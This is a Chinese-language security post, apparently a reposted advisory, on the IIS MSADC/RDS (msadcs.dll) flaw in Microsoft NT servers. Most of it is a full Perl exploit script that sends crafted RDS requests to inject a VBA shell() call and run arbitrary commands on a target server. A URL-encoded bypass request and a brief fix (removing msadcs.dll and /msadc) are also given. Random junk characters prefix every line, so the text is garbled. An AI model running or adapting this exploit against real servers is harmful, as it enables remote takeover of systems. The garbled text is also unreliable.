IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
EwV$2AK xl,%
Z~[ 涉及程序:
"h[)5V{ Microsoft NT server
1`L.$T,1! $"|r7n5[ 描述:
g&F$hm 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
%}zkmEY.e 4D<C;>*/b 详细:
)}N:t:rry 如果你没有时间读详细内容的话,就删除:
.|go$}Fk c:\Program Files\Common Files\System\Msadc\msadcs.dll
p~8 O6h@J 有关的安全问题就没有了。
j_}:=3 c,;VnZ
9wC 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
_^(1Qb[ t'At9<ib 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
H9ES|ZJs 关于利用ODBC远程漏洞的描述,请参看:
579D \WC,iA%Y http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +CdUr~6 e>e${\=, 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Bi
\fB-| http://www.microsoft.com/security/bulletins/MS99-025faq.asp IaSPwsvt' RDHK'PGA 这里不再论述。
)mwwceN pA_u;* 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
~?aFc) gAztdAsLM /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
P,)D0i 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
ey[Z<i1 _wb]tE ~g l#^?sbG #将下面这段保存为txt文件,然后: "perl -x 文件名"
%regt{ `~=z0I #!perl
w{[^ #
NnHaHX # MSADC/RDS 'usage' (aka exploit) script
aBaiXv/* #
}F.k,2 # by rain.forest.puppy
L(Twclrb #
{vW0O &[ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
\rUKP""m # beta test and find errors!
8VQ!&^9!U# 5;/q[oXI use Socket; use Getopt::Std;
-A<@Pg getopts("e:vd:h:XR", \%args);
A+dx7anUz @#W4?L*D
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
}ixCbuD z{1A x if (!defined $args{h} && !defined $args{R}) {
UTu~"uCR print qq~
\VOv&s;h Usage: msadc.pl -h <host> { -d <delay> -X -v }
viYrPhH+z -h <host> = host you want to scan (ip or domain)
YfT
D -d <seconds> = delay between calls, default 1 second
FT6C KsM" -X = dump Index Server path table, if available
b~tu;: -v = verbose
V~/@KU8cH -e = external dictionary file for step 5
'9.@r\g NV/paoyx:* Or a -R will resume a command session
iOv>g-t: _MIheCvV ~; exit;}
:'<;]~f /P9fcNP{y $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Q~wS2f`) if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
J`[jub if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
9QHj$)?k, if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
yZp/P %y $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
|gxPuAXa) if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
gS[B;+d ;g#nGs> if (!defined $args{R}){ $ret = &has_msadc;
7w9'xY die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
/2=9i84 PDS( /x& print "Please type the NT commandline you want to run (cmd /c assumed):\n"
7@gH{p1 . "cmd /c ";
\l3z<\ $in=<STDIN>; chomp $in;
=d"5kDK-m $command="cmd /c " . $in ;
LD?\gK" )mN/e+/Lu if (defined $args{R}) {&load; exit;}
7\g#'#K (:E@kpK print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
S`b!sT-sD &try_btcustmr;
;/4x.t#b dB#c$1 print "\nStep 2: Trying to make our own DSN...";
pO)EYla9 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
"eTALRL'o cjGN=|`u print "\nStep 3: Trying known DSNs...";
%4M,f.[e &known_dsn;
5
Slz^@n O[U`(A: print "\nStep 4: Trying known .mdbs...";
@.k^ 8hc &known_mdb;
X8*~Cf73u F~rl24F if (defined $args{e}){
Y$,~"$su| print "\nStep 5: Trying dictionary of DSN names...";
v36Z*I6)5 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
x4LPrF1 V+lS\E. print "Sorry Charley...maybe next time?\n";
Z5U\>7@&8 exit;
o58c!44 5$:9nPAH ##############################################################################
+Z_VF30pa alzdYiGf sub sendraw { # ripped and modded from whisker
tXrKC sleep($delay); # it's a DoS on the server! At least on mine...
58HAl_8W my ($pstr)=@_;
=IX-n$d`> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$i<+O,@- die("Socket problems\n");
=c,7uB if(connect(S,pack "SnA4x8",2,80,$target)){
D{7^y>8_Y- select(S); $|=1;
<a_(qh@B print $pstr; my @in=<S>;
_(:$
:*@ select(STDOUT); close(S);
vc3r [mT return @in;
U&*%KPy` } else { die("Can't connect...\n"); }}
9L-jlAo< 1]0;2THx ##############################################################################
5Zhl@v,L% SzeY?04zj: sub make_header { # make the HTTP request
P $y'`` my $msadc=<<EOT
aYk: CYQ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
&|'yqzS3 User-Agent: ACTIVEDATA
l\N2C4NG Host: $ip
E%8uQ2p( Content-Length: $clen
qo\9,< Connection: Keep-Alive
l9j=;h *(vh | ADCClientVersion:01.06
[h
B$%i]\< Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
U8>4Cl J4 K9 }Brhe --!ADM!ROX!YOUR!WORLD!
[P~7kNFOh Content-Type: application/x-varg
UB>BVBCt Content-Length: $reqlen
6Xo "?f 1K|F;p EOT
cotySio$ ; $msadc=~s/\n/\r\n/g;
ppLLX1S return $msadc;}
gWj r|m< lJfk4 -;M ##############################################################################
*a8 <cf lqrI*@>Tz sub make_req { # make the RDS request
,1CmB@ my ($switch, $p1, $p2)=@_;
b$nev[`{6 my $req=""; my $t1, $t2, $query, $dsn;
2-UD^;0 $g VbeQ if ($switch==1){ # this is the btcustmr.mdb query
>;j&]]-& $query="Select * from Customers where City=" . make_shell();
qG~6YCqii $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
S"^'ksL\ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
jd5kkX8= sieC7raO elsif ($switch==2){ # this is general make table query
9qGba=}Ey $query="create table AZZ (B int, C varchar(10))";
:,$"Gk $dsn="$p1";}
E^{!B]/oP sEfT#$ a^8 elsif ($switch==3){ # this is general exploit table query
Zi\ex\ )5 $query="select * from AZZ where C=" . make_shell();
Vz-q7*o$S $dsn="$p1";}
csJ)Pt?d ~W4SFp elsif ($switch==4){ # attempt to hork file info from index server
c,)]!{c $query="select path from scope()";
y>h9:q| $dsn="Provider=MSIDXS;";}
pNQ7uy |Go$z3bx elsif ($switch==5){ # bad query
aTH$+f1?Q $query="select";
!RwhVaSh $dsn="$p1";}
y.8nzlkE{ y#`;[! $t1= make_unicode($query);
aEa+?6;D $t2= make_unicode($dsn);
\=|=(kt) $req = "\x02\x00\x03\x00";
vQ2{+5!| $req.= "\x08\x00" . pack ("S1", length($t1));
e~'z;%O~ $req.= "\x00\x00" . $t1 ;
"dOQ)<; $req.= "\x08\x00" . pack ("S1", length($t2));
d2U?rw_ $req.= "\x00\x00" . $t2 ;
v}AjW%rB
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
hc0 $mit return $req;}
#E\6:UnT |)&d9|] ##############################################################################
5{DwD{Q -U_,RMw~ sub make_shell { # this makes the shell() statement
*""W`x
return "'|shell(\"$command\")|'";}
i+T5(P$ -j rAk ##############################################################################
5efN5Kt SfY9PNck\ sub make_unicode { # quick little function to convert to unicode
7042?\\= my ($in)=@_; my $out;
t"J{qfNs for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
H4YA return $out;}
&~B8~U4% Ii/{xVMD ##############################################################################
-h
^MX \4<|QE sub rdo_success { # checks for RDO return success (this is kludge)
rp1+K4]P my (@in) = @_; my $base=content_start(@in);
>XiT[Ru if($in[$base]=~/multipart\/mixed/){
@ %q>Jd return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ve.P{;;Ky return 0;}
c\ZnGI\| Ml?KnSb ##############################################################################
k*,+ag*j EASmB
sub make_dsn { # this makes a DSN for us
; 5[W*,7s my @drives=("c","d","e","f");
z`Nss
o= print "\nMaking DSN: ";
$II~tO foreach $drive (@drives) {
)~nieQEZQ print "$drive: ";
{wz_ngQ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
EDnZ/)6Gg "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
fF#Fc&B . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
;GOu'34j $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
[C;Neslo return 0 if $2 eq "404"; # not found/doesn't exist
XUUP#<,s if($2 eq "200") {
i<tJG{A= foreach $line (@results) {
!SnLvW89Z return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
'<ZHzDW@ } return 0;}
kou7_4oS 8s[1-l ##############################################################################
-lv(@7o~ $XkO\6kh sub verify_exists {
gyh8 my ($page)=@_;
V=1zk-XC my @results=sendraw("GET $page HTTP/1.0\n\n");
|:2B )X return $results[0];}
fWri7|"0h tgl 4pAc ##############################################################################
k w
OkT@ _U sub try_btcustmr {
]Z85%q^` my @drives=("c","d","e","f");
B~&}Mv my @dirs=("winnt","winnt35","winnt351","win","windows");
*|CvK&7 -rgdKA@)( foreach $dir (@dirs) {
yUxz,36wZ print "$dir -> "; # fun status so you can see progress
Q^@7Yg@l foreach $drive (@drives) {
N@!PhP print "$drive: "; # ditto
Ix@B*Xz:` $reqlen=length( make_req(1,$drive,$dir) ) - 28;
gsa@ci $reqlenlen=length( "$reqlen" );
G'dN<Nw6 $clen= 206 + $reqlenlen + $reqlen;
:mf&,? BxQ,T@ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
\>n[x;$ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
VTyj<6Y else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
!V/7q'&t= "f~OC<GdYs ##############################################################################
[>3dhj[; vW? /: sub odbc_error {
@B(E&
my (@in)=@_; my $base;
F:Ps> my $base = content_start(@in);
!su773vo if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
V3a6QcG $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Bx$?*y&f!v $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
UM]3MS:[ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
TGPZUyi3!= return $in[$base+4].$in[$base+5].$in[$base+6];}
G^dzE/: print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Z
d@B6R print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
[EZ=t k $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
hy$VG%b;# f4+wP/n& ##############################################################################
-O-?hsV)y g4 +Hq * sub verbose {
.ns=jp my ($in)=@_;
:^>&t^E return if !$verbose;
u5KAwMw%Q print STDOUT "\n$in\n";}
Iij$ce`nx O2="'w'kR ##############################################################################
~ kDJ-V D+~*nc ~
g sub save {
e5 zi "~ my ($p1, $p2, $p3, $p4)=@_;
) vVf- zU open(OUT, ">rds.save") || print "Problem saving parameters...\n";
WQD:~*C: print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
6uUn close OUT;}
Z*h}E fZ;}_wR-H ##############################################################################
G8/q&6f_ \$ss sub load {
8_S| 8RW( my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
.j**>&7L open(IN,"<rds.save") || die("Couldn't open rds.save\n");
elpTak@ @p=<IN>; close(IN);
/_Ku:?{ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
}Ujgd2(U $target= inet_aton($ip) || die("inet_aton problems");
('\sUZ+5 print "Resuming to $ip ...";
|R!ozlL{} $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
k9:|CEP if($p[1]==1) {
49}WJC7
) $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
lB_X mI1t $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
~82 {Y
_{/ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
A^LS^!Jz if (rdo_success(@results)){print "Success!\n";}
5IFzbL#q#f else { print "failed\n"; verbose(odbc_error(@results));}}
+/]*ChrS elsif ($p[1]==3){
}#g+~9UK if(run_query("$p[3]")){
X-TGrdoX print "Success!\n";} else { print "failed\n"; }}
+o"CMI elsif ($p[1]==4){
R(cg`8 if(run_query($drvst . "$p[3]")){
.c__T{<)[ print "Success!\n"; } else { print "failed\n"; }}
d\JBjT1g exit;}
S'NLj( ]IeLKcn ##############################################################################
gMkSl8[ UK*v\TMv sub create_table {
4*5 e0:O my ($in)=@_;
WXDo`_{R $reqlen=length( make_req(2,$in,"") ) - 28;
`Lavjmfr2V $reqlenlen=length( "$reqlen" );
LEOa=(mN\ $clen= 206 + $reqlenlen + $reqlen;
l+hOD{F4pS my @results=sendraw(make_header() . make_req(2,$in,""));
Em5,Zr_ return 1 if rdo_success(@results);
u%I%4 gM my $temp= odbc_error(@results); verbose($temp);
#e,TS`"eD return 1 if $temp=~/Table 'AZZ' already exists/;
;'08-Et return 0;}
k hD)x0'b g#7Q-n3^ ##############################################################################
}&2,!;"">3 v9S=$Aj sub known_dsn {
uwZ,l-6T # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
c14d0x{ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
^Qn:#O9 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
- _6`0 "banner", "banners", "ads", "ADCDemo", "ADCTest");
"Jg.)1Jw V|}9bNF foreach $dSn (@dsns) {
gFu,q`Vf* print ".";
vNl)ltzJF next if (!is_access("DSN=$dSn"));
cs9h\]ZA if(create_table("DSN=$dSn")){
l"DHG`kb print "$dSn successful\n";
bqp^\yu-E if(run_query("DSN=$dSn")){
UL>2gl4s/ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
op9vz[o#4 print "Something's borked. Use verbose next time\n";}}} print "\n";}
-"i$^Q` i^ |G ##############################################################################
T]zD+/= lcjOBu sub is_access {
Rt&5s)O' my ($in)=@_;
\@N~{72:k $reqlen=length( make_req(5,$in,"") ) - 28;
CYwV]lq:s $reqlenlen=length( "$reqlen" );
748:*
(O $clen= 206 + $reqlenlen + $reqlen;
udBIEW,` my @results=sendraw(make_header() . make_req(5,$in,""));
ZX1/6|_ my $temp= odbc_error(@results);
bGK*1FlH verbose($temp); return 1 if ($temp=~/Microsoft Access/);
q 5z^y(Sv return 0;}
vq+CW?*" #W3H;'~/5 ##############################################################################
&ni#( ,Tegrz&G sub run_query {
b7~Jl+m my ($in)=@_;
Iz. h $reqlen=length( make_req(3,$in,"") ) - 28;
cg17e $reqlenlen=length( "$reqlen" );
d^!k{Qx' $clen= 206 + $reqlenlen + $reqlen;
I}0? d my @results=sendraw(make_header() . make_req(3,$in,""));
?E|=eO"I1 return 1 if rdo_success(@results);
!X~NL+ my $temp= odbc_error(@results); verbose($temp);
7iwck.* return 0;}
dh [kx l5&5VC) ##############################################################################
fR'!p: ~ bn8maYUZ sub known_mdb {
|)Dm.)/0) my @drives=("c","d","e","f","g");
!t"/w6X1I my @dirs=("winnt","winnt35","winnt351","win","windows");
{#,5C H') my $dir, $drive, $mdb;
t&=bW<6 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
rr1'|
k" /HhA2 (g% # this is sparse, because I don't know of many
izaqEz my @sysmdbs=( "\\catroot\\icatalog.mdb",
I
*sT*;U "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
c$2kR: "\\system32\\certmdb.mdb",
a{^z= = "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
'PY; CLVT5pj=' my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
_|0# "\\cfusion\\cfapps\\forums\\forums_.mdb",
&dmIv[LU "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
:.]EM*p?GV "\\cfusion\\cfapps\\security\\realm_.mdb",
b+J|yM<` "\\cfusion\\cfapps\\security\\data\\realm.mdb",
z _\L@b "\\cfusion\\database\\cfexamples.mdb",
R+(f~ j' "\\cfusion\\database\\cfsnippets.mdb",
3ej237~F,L "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
]GY8f3~|{ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
8Nyz{T[ "\\cfusion\\brighttiger\\database\\cleam.mdb",
xZ;eV76 "\\cfusion\\database\\smpolicy.mdb",
<Z 3C&BM "\\cfusion\\database\cypress.mdb",
~K3Lbd|
r "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Y<VX.S2kf "\\website\\cgi-win\\dbsample.mdb",
eaDZ^Z
Er "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
MZ-;'w&Z "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
|UWIV ); #these are just
eZ]r"_? foreach $drive (@drives) {
/*Q3=Dse] foreach $dir (@dirs){
X=)L$Kd7 foreach $mdb (@sysmdbs) {
g_P98_2f.k print ".";
y'odn ; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
mhhc}dS(H print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
8~-TN1H if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
3))R91I print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
W$SV+q(rT } else { print "Something's borked. Use verbose next time\n"; }}}}}
#iv4L SH =S> foreach $drive (@drives) {
I5l%X{u"N foreach $mdb (@mdbs) {
JkT!X print ".";
85Yi2+8f4 if(create_table($drv . $drive . $dir . $mdb)){
*K$a;2WjzG print "\n" . $drive . $dir . $mdb . " successful\n";
qg`ae if(run_query($drv . $drive . $dir . $mdb)){
Zn
r4^i&( print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Sq_.RU } else { print "Something's borked. Use verbose next time\n"; }}}}
TsoxS/MI" }
c|9g=DjK 2ns,q0I
A ##############################################################################
BV>9U5 /]Y#*r8jRi sub hork_idx {
v@[3R7|4 print "\nAttempting to dump Index Server tables...\n";
R(^Sse print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
x/M$_E<G $reqlen=length( make_req(4,"","") ) - 28;
e4Y+u8gT $reqlenlen=length( "$reqlen" );
vvxD}p=y $clen= 206 + $reqlenlen + $reqlen;
Lv/}&'\( my @results=sendraw2(make_header() . make_req(4,"",""));
u;rmqo1 if (rdo_success(@results)){
RS}_cm0 my $max=@results; my $c; my %d;
RxJbQs$Ph for($c=19; $c<$max; $c++){
[9Rh" H;h $results[$c]=~s/\x00//g;
JJWPte/ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
r`6f $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
t855| $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
XBCHJj]k $d{"$1$2"}="";}
r^C(|Vx foreach $c (keys %d){ print "$c\n"; }
iZdl0;16[ } else {print "Index server doesn't seem to be installed.\n"; }}
0R\.G1f% 2INpo ##############################################################################
;0oL*d[1Z JB'tc!!* sub dsn_dict {
Ji!i}UjD7! open(IN, "<$args{e}") || die("Can't open external dictionary\n");
i_AD3Jrs while(<IN>){
]] 0 M $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
86-Rm next if (!is_access("DSN=$dSn"));
?r&~(<^z if(create_table("DSN=$dSn")){
NwYQ6VEA
print "$dSn successful\n";
M\CzV$\y if(run_query("DSN=$dSn")){
FO_}9 <s print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
<>n|_6'$90 print "Something's borked. Use verbose next time\n";}}}
7ixG{yu print "\n"; close(IN);}
}DjVZ48 M=;csazN ##############################################################################
H'YK j' Zh;}Q(w sub sendraw2 { # ripped and modded from whisker
t6KKfb sleep($delay); # it's a DoS on the server! At least on mine...
> _sSni my ($pstr)=@_;
L{>rN`{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~?b1x+soV die("Socket problems\n");
qG
20 if(connect(S,pack "SnA4x8",2,80,$target)){
j1{`}\e print "Connected. Getting data";
kn>qX{W open(OUT,">raw.out"); my @in;
]rY9t@ select(S); $|=1; print $pstr;
'G % ]/'_U while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
$=E4pb4Y close(OUT); select(STDOUT); close(S); return @in;
2Q@na@s } else { die("Can't connect...\n"); }}
wn_
>Vi1 fuA]
y4A ##############################################################################
9x4z m ivl %%nY' sub content_start { # this will take in the server headers
$04lL/; my (@in)=@_; my $c;
A#I&&qZ for ($c=1;$c<500;$c++) {
6o6yx: if($in[$c] =~/^\x0d\x0a/){
fI0"#iv} if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
|?0MRX0'g else { return $c+1; }}}
;7qzQ{Km return -1;} # it should never get here actually
6vNn;-gg. %4x0^<k~ ##############################################################################
B:v_5e\f@ !F}GSDDV* sub funky {
?F[_5ls|] my (@in)=@_; my $error=odbc_error(@in);
JLWm9c+UTG if($error=~/ADO could not find the specified provider/){
zJ8T.+qJ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
dT 7fyn exit;}
wVf 7<@/y if($error=~/A Handler is required/){
mk~CE print "\nServer has custom handler filters (they most likely are patched)\n";
MhE".ZRd exit;}
7oIHp_Zq if($error=~/specified Handler has denied Access/){
wY\,b*x print "\nServer has custom handler filters (they most likely are patched)\n";
ke W7pN? exit;}}
S m=ln)G= x@oxIXN ##############################################################################
LHZsmUM(dg s1W n.OGR4 sub has_msadc {
KV;q}EyG my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
,Q Ge=Exn my $base=content_start(@results);
Px?"5g#+ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
^2rj);{V return 0;}
M8Bp-_ R'B_YKHBY ########################
p(GI02|n FG71<}C[K 5GJkvZtFY 解决方案:
pl,XS6mB 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
\+U;$.)3 2、移除web 目录: /msadc